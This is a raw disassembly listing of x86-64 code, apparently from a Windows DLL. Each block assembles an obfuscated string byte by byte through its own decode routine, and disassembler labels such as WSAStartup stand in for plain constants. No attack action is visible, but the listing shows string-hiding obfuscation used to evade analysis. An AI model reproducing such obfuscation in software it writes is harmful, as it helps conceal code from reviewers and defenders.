mov cl, 0x78
call fcn.1800bfcc0
mov byte [rsp + 0x6b2], al
mov cl, 0x3a
call fcn.1800bfcc0
mov byte [rsp + 0x6b3], al
mov cl, 0x3a
call fcn.1800bfcc0
mov byte [rsp + 0x6b4], al
mov cl, 0x76
call fcn.1800bfcc0
mov byte [rsp + 0x6b5], al
mov cl, 0x61
call fcn.1800bfcc0
mov byte [rsp + 0x6b6], al
mov cl, WSAStartup
call fcn.1800bfcc0
mov byte [rsp + 0x6b7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfcc0
mov byte [rsp + 0x6b8], al
mov cl, 0x3a
call fcn.1800bfcc0
mov byte [rsp + 0x6b9], al
mov cl, 0x3a
call fcn.1800bfcc0
mov byte [rsp + 0x6ba], al
mov cl, 0x68
call fcn.1800bfcc0
mov byte [rsp + 0x6bb], al
mov cl, 0x65
call fcn.1800bfcc0
mov byte [rsp + 0x6bc], al
mov cl, 0x61
call fcn.1800bfcc0
mov byte [rsp + 0x6bd], al
mov cl, 0x6c
call fcn.1800bfcc0
mov byte [rsp + 0x6be], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfcc0
mov byte [rsp + 0x6bf], al
mov cl, 0x68
call fcn.1800bfcc0
mov byte [rsp + 0x6c0], al
xor ecx, ecx
call fcn.1800bfcc0
mov byte [rsp + 0x6c1], al
movups xmm0, xmmword [rsp + 0x6b0]
movups xmmword [rsp + 0x1b88], xmm0
movzx eax, word [rsp + 0x6c0]
mov word [rsp + 0x1b98], ax
lea rax, [rsp + 0x1b88]
mov qword [rsp + 0x4990], rax
lea rcx, [rsp + 0x3a10]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x12]
lea rcx, [rsp + 0x3a10]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x12dc], esi
nop dword [rax]
cmp esi, 0x12
jge 0x18007c4c0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1b88]
call fcn.1800c0c40
movzx ecx, byte [rax]
call fcn.1800bfcc0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3a10]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x12dc], esi
jmp 0x18007c480
lea rcx, [rsp + 0x3a10]
call fcn.18000ce90
mov qword [rsp + 0x2550], rax
lea r8, [0x1801eae9d]
lea rdx, [rsp + 0x2550]
lea rcx, [rsp + 0x5ce0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x14c0], xmm0
mov dword [rsp + 0x14d0], eax
mov word [rsp + 0x14d4], ax
mov byte [rsp + 0x14d6], al
mov cl, 0x63
call fcn.1800bffa0
mov byte [rsp + 0x318], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bffa0
mov byte [rsp + 0x319], al
mov cl, 0x78
call fcn.1800bffa0
mov byte [rsp + 0x31a], al
mov cl, 0x3a
call fcn.1800bffa0
mov byte [rsp + 0x31b], al
mov cl, 0x3a
call fcn.1800bffa0
mov byte [rsp + 0x31c], al
mov cl, 0x76
call fcn.1800bffa0
mov byte [rsp + 0x31d], al
mov cl, 0x61
call fcn.1800bffa0
mov byte [rsp + 0x31e], al
mov cl, WSAStartup
call fcn.1800bffa0
mov byte [rsp + 0x31f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bffa0
mov byte [rsp + 0x320], al
mov cl, 0x3a
call fcn.1800bffa0
mov byte [rsp + 0x321], al
mov cl, 0x3a
call fcn.1800bffa0
mov byte [rsp + 0x322], al
mov cl, 0x63
call fcn.1800bffa0
mov byte [rsp + 0x323], al
mov cl, 0x5f
call fcn.1800bffa0
mov byte [rsp + 0x324], al
mov cl, 0x61
call fcn.1800bffa0
mov byte [rsp + 0x325], al
mov cl, WSAStartup
call fcn.1800bffa0
mov byte [rsp + 0x326], al
mov cl, 0x6d
call fcn.1800bffa0
mov byte [rsp + 0x327], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bffa0
mov byte [rsp + 0x328], al
mov cl, WSAStartup
call fcn.1800bffa0
mov byte [rsp + 0x329], al
mov cl, 0x5f
call fcn.1800bffa0
mov byte [rsp + 0x32a], al
mov cl, 0x62
call fcn.1800bffa0
mov byte [rsp + 0x32b], al
mov cl, 0x61
call fcn.1800bffa0
mov byte [rsp + 0x32c], al
mov cl, WSAStartup
call fcn.1800bffa0
mov byte [rsp + 0x32d], al
xor ecx, ecx
call fcn.1800bffa0
mov byte [rsp + 0x32e], al
movups xmm0, xmmword [rsp + 0x318]
movups xmmword [rsp + 0x14c0], xmm0
mov ecx, dword [rsp + 0x328]
mov dword [rsp + 0x14d0], ecx
movzx ecx, word [rsp + 0x32c]
mov word [rsp + 0x14d4], cx
mov byte [rsp + 0x14d6], al
lea rax, [rsp + 0x14c0]
mov qword [rsp + 0x4998], rax
lea rcx, [rsp + 0x39f0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x39f0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x12d8], esi
cmp esi, 0x17
jge 0x18007c705
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x14c0]
call fcn.1800c0380
movzx ecx, byte [rax]
call fcn.1800bffa0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x39f0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x12d8], esi
jmp 0x18007c6c5
lea rcx, [rsp + 0x39f0]
call fcn.18000ce90
mov qword [rsp + 0x2548], rax
lea r8, [0x1801eaec0]
lea rdx, [rsp + 0x2548]
lea rcx, [rsp + 0x5d10]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1c60], xmm0
mov qword [rsp + 0x1c70], rax
mov byte [rsp + 0x1c78], al
mov cl, 0x63
call fcn.1800c0040
mov byte [rsp + 0xbe0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800c0040
mov byte [rsp + 0xbe1], al
mov cl, 0x78
call fcn.1800c0040
mov byte [rsp + 0xbe2], al
mov cl, 0x3a
call fcn.1800c0040
mov byte [rsp + 0xbe3], al
mov cl, 0x3a
call fcn.1800c0040
mov byte [rsp + 0xbe4], al
mov cl, 0x76
call fcn.1800c0040
mov byte [rsp + 0xbe5], al
mov cl, 0x61
call fcn.1800c0040
mov byte [rsp + 0xbe6], al
mov cl, WSAStartup
call fcn.1800c0040
mov byte [rsp + 0xbe7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c0040
mov byte [rsp + 0xbe8], al
mov cl, 0x3a
call fcn.1800c0040
mov byte [rsp + 0xbe9], al
mov cl, 0x3a
call fcn.1800c0040
mov byte [rsp + 0xbea], al
mov cl, 0x63
call fcn.1800c0040
mov byte [rsp + 0xbeb], al
mov cl, 0x5f
call fcn.1800c0040
mov byte [rsp + 0xbec], al
mov cl, 0x69
call fcn.1800c0040
mov byte [rsp + 0xbed], al
mov cl, 0x67
call fcn.1800c0040
mov byte [rsp + 0xbee], al
mov cl, WSAGetLastError
call fcn.1800c0040
mov byte [rsp + 0xbef], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800c0040
mov byte [rsp + 0xbf0], al
mov cl, WSAStartup
call fcn.1800c0040
mov byte [rsp + 0xbf1], al
mov cl, 0x65
call fcn.1800c0040
mov byte [rsp + 0xbf2], al
mov cl, 0x5f
call fcn.1800c0040
mov byte [rsp + 0xbf3], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c0040
mov byte [rsp + 0xbf4], al
mov cl, 0x65
call fcn.1800c0040
mov byte [rsp + 0xbf5], al
mov cl, 0x6c
call fcn.1800c0040
mov byte [rsp + 0xbf6], al
mov cl, 0x66
call fcn.1800c0040
mov byte [rsp + 0xbf7], al
xor ecx, ecx
call fcn.1800c0040
mov byte [rsp + 0xbf8], al
movups xmm0, xmmword [rsp + 0xbe0]
movups xmmword [rsp + 0x1c60], xmm0
movsd xmm1, qword [rsp + 0xbf0]
movsd qword [rsp + 0x1c70], xmm1
mov byte [rsp + 0x1c78], al
lea rax, [rsp + 0x1c60]
mov qword [rsp + 0x49a0], rax
lea rcx, [rsp + 0x39d0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x19]
lea rcx, [rsp + 0x39d0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x12d4], esi
cmp esi, 0x19
jge 0x18007c953
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1c60]
call fcn.1800c0360
movzx ecx, byte [rax]
call fcn.1800c0040
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x39d0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x12d4], esi
jmp 0x18007c913
lea rcx, [rsp + 0x39d0]
call fcn.18000ce90
mov qword [rsp + 0x2540], rax
lea r8, [0x1801d1032]
lea rdx, [rsp + 0x2540]
lea rcx, [rsp + 0x5d40]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1b40], xmm0
mov word [rsp + 0x1b50], ax
mov cl, 0x63
call fcn.1800bfd40
mov byte [rsp + 0x698], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfd40
mov byte [rsp + 0x699], al
mov cl, 0x78
call fcn.1800bfd40
mov byte [rsp + 0x69a], al
mov cl, 0x3a
call fcn.1800bfd40
mov byte [rsp + 0x69b], al
mov cl, 0x3a
call fcn.1800bfd40
mov byte [rsp + 0x69c], al
mov cl, 0x76
call fcn.1800bfd40
mov byte [rsp + 0x69d], al
mov cl, 0x61
call fcn.1800bfd40
mov byte [rsp + 0x69e], al
mov cl, WSAStartup
call fcn.1800bfd40
mov byte [rsp + 0x69f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfd40
mov byte [rsp + 0x6a0], al
mov cl, 0x3a
call fcn.1800bfd40
mov byte [rsp + 0x6a1], al
mov cl, 0x3a
call fcn.1800bfd40
mov byte [rsp + 0x6a2], al
mov cl, 0x63
call fcn.1800bfd40
mov byte [rsp + 0x6a3], al
mov cl, 0x5f
call fcn.1800bfd40
mov byte [rsp + 0x6a4], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfd40
mov byte [rsp + 0x6a5], al
mov cl, 0x65
call fcn.1800bfd40
mov byte [rsp + 0x6a6], al
mov cl, 0x64
call fcn.1800bfd40
mov byte [rsp + 0x6a7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfd40
mov byte [rsp + 0x6a8], al
xor ecx, ecx
call fcn.1800bfd40
mov byte [rsp + 0x6a9], al
movups xmm0, xmmword [rsp + 0x698]
movups xmmword [rsp + 0x1b40], xmm0
movzx eax, word [rsp + 0x6a8]
mov word [rsp + 0x1b50], ax
lea rax, [rsp + 0x1b40]
mov qword [rsp + 0x49a8], rax
lea rcx, [rsp + 0x39b0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x12]
lea rcx, [rsp + 0x39b0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x12d0], esi
nop
cmp esi, 0x12
jge 0x18007cb30
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1b40]
call fcn.1800c0c40
movzx ecx, byte [rax]
call fcn.1800bfd40
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x39b0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x12d0], esi
jmp 0x18007caf0
lea rcx, [rsp + 0x39b0]
call fcn.18000ce90
mov qword [rsp + 0x2538], rax
lea r8, [0x1801eab27]
lea rdx, [rsp + 0x2538]
lea rcx, [rsp + 0x5d70]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1868], xmm0
mov dword [rsp + 0x1878], eax
mov word [rsp + 0x187c], ax
mov cl, 0x63
call fcn.1800bff90
mov byte [rsp + 0xb0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff90
mov byte [rsp + 0xb1], al
mov cl, 0x78
call fcn.1800bff90
mov byte [rsp + 0xb2], al
mov cl, 0x3a
call fcn.1800bff90
mov byte [rsp + 0xb3], al
mov cl, 0x3a
call fcn.1800bff90
mov byte [rsp + 0xb4], al
mov cl, 0x76
call fcn.1800bff90
mov byte [rsp + 0xb5], al
mov cl, 0x61
call fcn.1800bff90
mov byte [rsp + 0xb6], al
mov cl, WSAStartup
call fcn.1800bff90
mov byte [rsp + 0xb7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff90
mov byte [rsp + 0xb8], al
mov cl, 0x3a
call fcn.1800bff90
mov byte [rsp + 0xb9], al
mov cl, 0x3a
call fcn.1800bff90
mov byte [rsp + 0xba], al
mov cl, 0x63
call fcn.1800bff90
mov byte [rsp + 0xbb], al
mov cl, 0x5f
call fcn.1800bff90
mov byte [rsp + 0xbc], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff90
mov byte [rsp + 0xbd], al
mov cl, 0x6b
call fcn.1800bff90
mov byte [rsp + 0xbe], al
mov cl, 0x65
call fcn.1800bff90
mov byte [rsp + 0xbf], al
mov cl, 0x6c
call fcn.1800bff90
mov byte [rsp + 0xc0], al
mov cl, 0x65
call fcn.1800bff90
mov byte [rsp + 0xc1], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff90
mov byte [rsp + 0xc2], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bff90
mov byte [rsp + 0xc3], al
mov cl, WSAGetLastError
call fcn.1800bff90
mov byte [rsp + 0xc4], al
xor ecx, ecx
call fcn.1800bff90
mov byte [rsp + 0xc5], al
movups xmm0, xmmword [rsp + 0xb0]
movups xmmword [rsp + 0x1868], xmm0
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x1878], eax
movzx eax, word [rsp + 0xc4]
mov word [rsp + 0x187c], ax
lea rax, [rsp + 0x1868]
mov qword [rsp + 0x49b0], rax
lea rcx, [rsp + 0x3990]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rsp + 0x3990]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x12cc], esi
nop dword [rax]
cmp esi, 0x16
jge 0x18007cd60
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1868]
call fcn.1800c0a30
movzx ecx, byte [rax]
call fcn.1800bff90
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3990]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x12cc], esi
jmp 0x18007cd20
lea rcx, [rsp + 0x3990]
call fcn.18000ce90
mov qword [rsp + 0x2530], rax
lea r8, [0x1801eaebf]
lea rdx, [rsp + 0x2530]
lea rcx, [rsp + 0x5da0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2318], xmm0
mov qword [rsp + 0x2328], rax
mov cl, 0x63
call fcn.1800bfdd0
mov byte [rsp + 0xa98], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfdd0
mov byte [rsp + 0xa99], al
mov cl, 0x78
call fcn.1800bfdd0
mov byte [rsp + 0xa9a], al
mov cl, 0x3a
call fcn.1800bfdd0
mov byte [rsp + 0xa9b], al
mov cl, 0x3a
call fcn.1800bfdd0
mov byte [rsp + 0xa9c], al
mov cl, 0x76
call fcn.1800bfdd0
mov byte [rsp + 0xa9d], al
mov cl, 0x61
call fcn.1800bfdd0
mov byte [rsp + 0xa9e], al
mov cl, WSAStartup
call fcn.1800bfdd0
mov byte [rsp + 0xa9f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfdd0
mov byte [rsp + 0xaa0], al
mov cl, 0x3a
call fcn.1800bfdd0
mov byte [rsp + 0xaa1], al
mov cl, 0x3a
call fcn.1800bfdd0
mov byte [rsp + 0xaa2], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfdd0
mov byte [rsp + 0xaa3], al
mov cl, 0x6b
call fcn.1800bfdd0
mov byte [rsp + 0xaa4], al
mov cl, 0x65
call fcn.1800bfdd0
mov byte [rsp + 0xaa5], al
mov cl, 0x6c
call fcn.1800bfdd0
mov byte [rsp + 0xaa6], al
mov cl, 0x5f
call fcn.1800bfdd0
mov byte [rsp + 0xaa7], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfdd0
mov byte [rsp + 0xaa8], al
mov cl, 0x75
call fcn.1800bfdd0
mov byte [rsp + 0xaa9], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfdd0
mov byte [rsp + 0xaaa], al
mov cl, 0x6c
call fcn.1800bfdd0
mov byte [rsp + 0xaab], al
mov cl, 0x69
call fcn.1800bfdd0
mov byte [rsp + 0xaac], al
mov cl, WSAGetLastError
call fcn.1800bfdd0
mov byte [rsp + 0xaad], al
mov cl, 0x65
call fcn.1800bfdd0
mov byte [rsp + 0xaae], al
xor ecx, ecx
call fcn.1800bfdd0
mov byte [rsp + 0xaaf], al
movups xmm0, xmmword [rsp + 0xa98]
movups xmmword [rsp + 0x2318], xmm0
movsd xmm1, qword [rsp + 0xaa8]
movsd qword [rsp + 0x2328], xmm1
lea rax, [rsp + 0x2318]
mov qword [rsp + 0x49b8], rax
lea rcx, [rsp + 0x3970]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x18]
lea rcx, [rsp + 0x3970]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x12c8], esi
cmp esi, 0x18
jge 0x18007cf92
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x2318]
call fcn.1800c0b60
movzx ecx, byte [rax]
call fcn.1800bfdd0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3970]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x12c8], esi
jmp 0x18007cf52
lea rcx, [rsp + 0x3970]
call fcn.18000ce90
mov qword [rsp + 0x24e0], rax
lea r8, [0x1801eaeb0]
lea rdx, [rsp + 0x24e0]
lea rcx, [rsp + 0x5dd0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1b70], xmm0
mov word [rsp + 0x1b80], ax
mov cl, 0x63
call fcn.1800bfc40
mov byte [rsp + 0x680], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfc40
mov byte [rsp + 0x681], al
mov cl, 0x78
call fcn.1800bfc40
mov byte [rsp + 0x682], al
mov cl, 0x3a
call fcn.1800bfc40
mov byte [rsp + 0x683], al
mov cl, 0x3a
call fcn.1800bfc40
mov byte [rsp + 0x684], al
mov cl, 0x76
call fcn.1800bfc40
mov byte [rsp + 0x685], al
mov cl, 0x61
call fcn.1800bfc40
mov byte [rsp + 0x686], al
mov cl, WSAStartup
call fcn.1800bfc40
mov byte [rsp + 0x687], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfc40
mov byte [rsp + 0x688], al
mov cl, 0x3a
call fcn.1800bfc40
mov byte [rsp + 0x689], al
mov cl, 0x3a
call fcn.1800bfc40
mov byte [rsp + 0x68a], al
mov cl, 0x63
call fcn.1800bfc40
mov byte [rsp + 0x68b], al
mov cl, 0x5f
call fcn.1800bfc40
mov byte [rsp + 0x68c], al
mov cl, 0x6c
call fcn.1800bfc40
mov byte [rsp + 0x68d], al
mov cl, 0x69
call fcn.1800bfc40
mov byte [rsp + 0x68e], al
mov cl, WSAGetLastError
call fcn.1800bfc40
mov byte [rsp + 0x68f], al
mov cl, 0x65
call fcn.1800bfc40
mov byte [rsp + 0x690], al
xor ecx, ecx
call fcn.1800bfc40
mov byte [rsp + 0x691], al
movups xmm0, xmmword [rsp + 0x680]
movups xmmword [rsp + 0x1b70], xmm0
movzx eax, word [rsp + 0x690]
mov word [rsp + 0x1b80], ax
lea rax, [rsp + 0x1b70]
mov qword [rsp + 0x49c0], rax
lea rcx, [rsp + 0x3950]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x12]
lea rcx, [rsp + 0x3950]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x12c4], esi
nop
cmp esi, 0x12
jge 0x18007d170
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1b70]
call fcn.1800c0c40
movzx ecx, byte [rax]
call fcn.1800bfc40
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3950]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x12c4], esi
jmp 0x18007d130
lea rcx, [rsp + 0x3950]
call fcn.18000ce90
mov qword [rsp + 0x24d8], rax
lea r8, [0x1801eae9c]
lea rdx, [rsp + 0x24d8]
lea rcx, [rsp + 0x5e00]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x19a0], xmm0
mov byte [rsp + 0x19b0], al
mov cl, 0x63
call fcn.1800bff80
mov byte [rsp + 0xde8], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff80
mov byte [rsp + 0xde9], al
mov cl, 0x78
call fcn.1800bff80
mov byte [rsp + 0xdea], al
mov cl, 0x3a
call fcn.1800bff80
mov byte [rsp + 0xdeb], al
mov cl, 0x3a
call fcn.1800bff80
mov byte [rsp + 0xdec], al
mov cl, 0x76
call fcn.1800bff80
mov byte [rsp + 0xded], al
mov cl, 0x61
call fcn.1800bff80
mov byte [rsp + 0xdee], al
mov cl, WSAStartup
call fcn.1800bff80
mov byte [rsp + 0xdef], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff80
mov byte [rsp + 0xdf0], al
mov cl, 0x3a
call fcn.1800bff80
mov byte [rsp + 0xdf1], al
mov cl, 0x3a
call fcn.1800bff80
mov byte [rsp + 0xdf2], al
mov cl, 0x63
call fcn.1800bff80
mov byte [rsp + 0xdf3], al
mov cl, 0x5f
call fcn.1800bff80
mov byte [rsp + 0xdf4], al
mov cl, 0x66
call fcn.1800bff80
mov byte [rsp + 0xdf5], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bff80
mov byte [rsp + 0xdf6], al
mov cl, 0x76
call fcn.1800bff80
mov byte [rsp + 0xdf7], al
xor ecx, ecx
call fcn.1800bff80
mov byte [rsp + 0xdf8], al
movups xmm0, xmmword [rsp + 0xde8]
movups xmmword [rsp + 0x19a0], xmm0
mov byte [rsp + 0x19b0], al
lea rax, [rsp + 0x19a0]
mov qword [rsp + 0x49c8], rax
lea rcx, [rsp + 0x3930]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x11]
lea rcx, [rsp + 0x3930]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x129c], esi
cmp esi, 0x11
jge 0x18007d334
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x19a0]
call fcn.1800c0c60
movzx ecx, byte [rax]
call fcn.1800bff80
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3930]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x129c], esi
jmp 0x18007d2f4
lea rcx, [rsp + 0x3930]
call fcn.18000ce90
mov qword [rsp + 0x24d0], rax
lea r8, [0x1801eae86]
lea rdx, [rsp + 0x24d0]
lea rcx, [rsp + 0x5e30]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1718], xmm0
mov dword [rsp + 0x1728], eax
mov byte [rsp + 0x172c], al
mov cl, 0x63
call fcn.1800bff70
mov byte [rsp + 0x9c0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff70
mov byte [rsp + 0x9c1], al
mov cl, 0x78
call fcn.1800bff70
mov byte [rsp + 0x9c2], al
mov cl, 0x3a
call fcn.1800bff70
mov byte [rsp + 0x9c3], al
mov cl, 0x3a
call fcn.1800bff70
mov byte [rsp + 0x9c4], al
mov cl, 0x76
call fcn.1800bff70
mov byte [rsp + 0x9c5], al
mov cl, 0x61
call fcn.1800bff70
mov byte [rsp + 0x9c6], al
mov cl, WSAStartup
call fcn.1800bff70
mov byte [rsp + 0x9c7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff70
mov byte [rsp + 0x9c8], al
mov cl, 0x3a
call fcn.1800bff70
mov byte [rsp + 0x9c9], al
mov cl, 0x3a
call fcn.1800bff70
mov byte [rsp + 0x9ca], al
mov cl, 0x63
call fcn.1800bff70
mov byte [rsp + 0x9cb], al
mov cl, 0x5f
call fcn.1800bff70
mov byte [rsp + 0x9cc], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff70
mov byte [rsp + 0x9cd], al
mov cl, 0x65
call fcn.1800bff70
mov byte [rsp + 0x9ce], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff70
mov byte [rsp + 0x9cf], al
mov cl, 0x5f
call fcn.1800bff70
mov byte [rsp + 0x9d0], al
mov cl, 0x66
call fcn.1800bff70
mov byte [rsp + 0x9d1], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bff70
mov byte [rsp + 0x9d2], al
mov cl, 0x76
call fcn.1800bff70
mov byte [rsp + 0x9d3], al
xor ecx, ecx
call fcn.1800bff70
mov byte [rsp + 0x9d4], al
movups xmm0, xmmword [rsp + 0x9c0]
movups xmmword [rsp + 0x1718], xmm0
mov ecx, dword [rsp + 0x9d0]
mov dword [rsp + 0x1728], ecx
mov byte [rsp + 0x172c], al
lea rax, [rsp + 0x1718]
mov qword [rsp + 0x49d0], rax
lea rcx, [rsp + 0x3910]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x15]
lea rcx, [rsp + 0x3910]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1298], esi
cmp esi, 0x15
jge 0x18007d545
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1718]
call fcn.1800c0a50
movzx ecx, byte [rax]
call fcn.1800bff70
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3910]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1298], esi
jmp 0x18007d505
lea rcx, [rsp + 0x3910]
call fcn.18000ce90
mov qword [rsp + 0x24c8], rax
lea r8, [0x1801eae92]
lea rdx, [rsp + 0x24c8]
lea rcx, [rsp + 0x5e60]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2300], xmm0
mov qword [rsp + 0x2310], rax
mov cl, 0x63
call fcn.1800bff60
mov byte [rsp + 0xa80], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff60
mov byte [rsp + 0xa81], al
mov cl, 0x78
call fcn.1800bff60
mov byte [rsp + 0xa82], al
mov cl, 0x3a
call fcn.1800bff60
mov byte [rsp + 0xa83], al
mov cl, 0x3a
call fcn.1800bff60
mov byte [rsp + 0xa84], al
mov cl, 0x76
call fcn.1800bff60
mov byte [rsp + 0xa85], al
mov cl, 0x61
call fcn.1800bff60
mov byte [rsp + 0xa86], al
mov cl, WSAStartup
call fcn.1800bff60
mov byte [rsp + 0xa87], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff60
mov byte [rsp + 0xa88], al
mov cl, 0x3a
call fcn.1800bff60
mov byte [rsp + 0xa89], al
mov cl, 0x3a
call fcn.1800bff60
mov byte [rsp + 0xa8a], al
mov cl, 0x63
call fcn.1800bff60
mov byte [rsp + 0xa8b], al
mov cl, 0x5f
call fcn.1800bff60
mov byte [rsp + 0xa8c], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff60
mov byte [rsp + 0xa8d], al
mov cl, 0x69
call fcn.1800bff60
mov byte [rsp + 0xa8e], al
mov cl, 0x6c
call fcn.1800bff60
mov byte [rsp + 0xa8f], al
mov cl, 0x65
call fcn.1800bff60
mov byte [rsp + 0xa90], al
mov cl, WSAGetLastError
call fcn.1800bff60
mov byte [rsp + 0xa91], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff60
mov byte [rsp + 0xa92], al
mov cl, 0x5f
call fcn.1800bff60
mov byte [rsp + 0xa93], al
mov cl, 0x66
call fcn.1800bff60
mov byte [rsp + 0xa94], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bff60
mov byte [rsp + 0xa95], al
mov cl, 0x76
call fcn.1800bff60
mov byte [rsp + 0xa96], al
xor ecx, ecx
call fcn.1800bff60
mov byte [rsp + 0xa97], al
movups xmm0, xmmword [rsp + 0xa80]
movups xmmword [rsp + 0x2300], xmm0
movsd xmm1, qword [rsp + 0xa90]
movsd qword [rsp + 0x2310], xmm1
lea rax, [rsp + 0x2300]
mov qword [rsp + 0x49d8], rax
lea rcx, [rsp + 0x38f0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x18]
lea rcx, [rsp + 0x38f0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1294], esi
cmp esi, 0x18
jge 0x18007d777
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x2300]
call fcn.1800c0b60
movzx ecx, byte [rax]
call fcn.1800bff60
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x38f0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1294], esi
jmp 0x18007d737
lea rcx, [rsp + 0x38f0]
call fcn.18000ce90
mov qword [rsp + 0x24c0], rax
lea r8, [0x1801eae79]
lea rdx, [rsp + 0x24c0]
lea rcx, [rsp + 0x5e90]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
